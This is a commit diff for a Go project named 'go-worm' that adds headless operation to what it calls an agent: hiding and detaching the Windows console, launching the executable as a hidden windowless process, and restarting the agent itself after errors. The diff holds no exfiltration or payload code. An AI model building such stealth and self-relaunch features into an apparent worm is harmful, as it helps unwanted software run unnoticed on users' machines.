refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/instance/console_stub.go

@@ -0,0 +1,5 @@
+//go:build !windows
+
+package instance
+
+func HideConsole() {}

lib/instance/console_windows.go

@@ -0,0 +1,37 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"syscall"
+)
+
+var (
+	kernel32        = syscall.NewLazyDLL("kernel32.dll")
+	procFreeConsole = kernel32.NewProc("FreeConsole")
+	user32          = syscall.NewLazyDLL("user32.dll")
+	procShowWindow  = user32.NewProc("ShowWindow")
+)
+
+const swHide = 0
+
+// HideConsole hides any console window and detaches from it.
+func HideConsole() {
+	hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
+	if hwnd != 0 {
+		_, _, _ = procShowWindow.Call(hwnd, swHide)
+	}
+	_, _, _ = procFreeConsole.Call()
+	redirectStdioToNul()
+}
+
+func redirectStdioToNul() {
+	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
+	if err != nil {
+		return
+	}
+	os.Stdin = nul
+	os.Stdout = nul
+	os.Stderr = nul
+}

lib/instance/detach.go

@@ -3,11 +3,6 @@ package instance
 import (
 	"fmt"
 	"os"
-	"os/exec"
-	"strings"
-	"syscall"
-
-	"golang.org/x/sys/windows"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 )
@@ -20,32 +15,5 @@ func Detach() error {
 	if err != nil {
 		return err
 	}
-	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
-	if err != nil {
-		return err
-	}
-	defer nul.Close()
-
-	cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
-	cmd.Stdin = nul
-	cmd.Stdout = nul
-	cmd.Stderr = nul
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
-	}
-	return cmd.Start()
-}
-
-func stripBackground(args []string) []string {
-	out := make([]string, 0, len(args))
-	for _, arg := range args {
-		name := strings.TrimLeft(arg, "-/")
-		lower := strings.ToLower(name)
-		if lower == "background" || strings.HasPrefix(lower, "background=") {
-			continue
-		}
-		out = append(out, arg)
-	}
-	return out
+	return Launch(exe, filterArgs(os.Args[1:]))
 }

lib/instance/launch_stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package instance
+
+func Launch(exe string, args []string) error {
+	return nil
+}
+
+func RestartSelf() error {
+	return nil
+}

lib/instance/launch_windows.go

@@ -0,0 +1,58 @@
+//go:build windows
+
+package instance
+
+import (
+	"os"
+	"os/exec"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+// Launch starts exe detached with no visible window or console IO.
+func Launch(exe string, args []string) error {
+	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
+	if err != nil {
+		return err
+	}
+	defer nul.Close()
+
+	cmd := exec.Command(exe, args...)
+	cmd.Stdin = nul
+	cmd.Stdout = nul
+	cmd.Stderr = nul
+	cmd.SysProcAttr = &syscall.SysProcAttr{
+		HideWindow:    true,
+		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
+	}
+	return cmd.Start()
+}
+
+// RestartSelf launches a fresh agent process (no mutex check).
+func RestartSelf() error {
+	exe, err := config.InstalledExe()
+	if err != nil {
+		return err
+	}
+	return Launch(exe, nil)
+}
+
+func filterArgs(args []string) []string {
+	out := make([]string, 0, len(args))
+	for _, arg := range args {
+		name := strings.TrimLeft(arg, "-/")
+		lower := strings.ToLower(name)
+		switch {
+		case lower == "background" || strings.HasPrefix(lower, "background="):
+			continue
+		case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
+			continue
+		}
+		out = append(out, arg)
+	}
+	return out
+}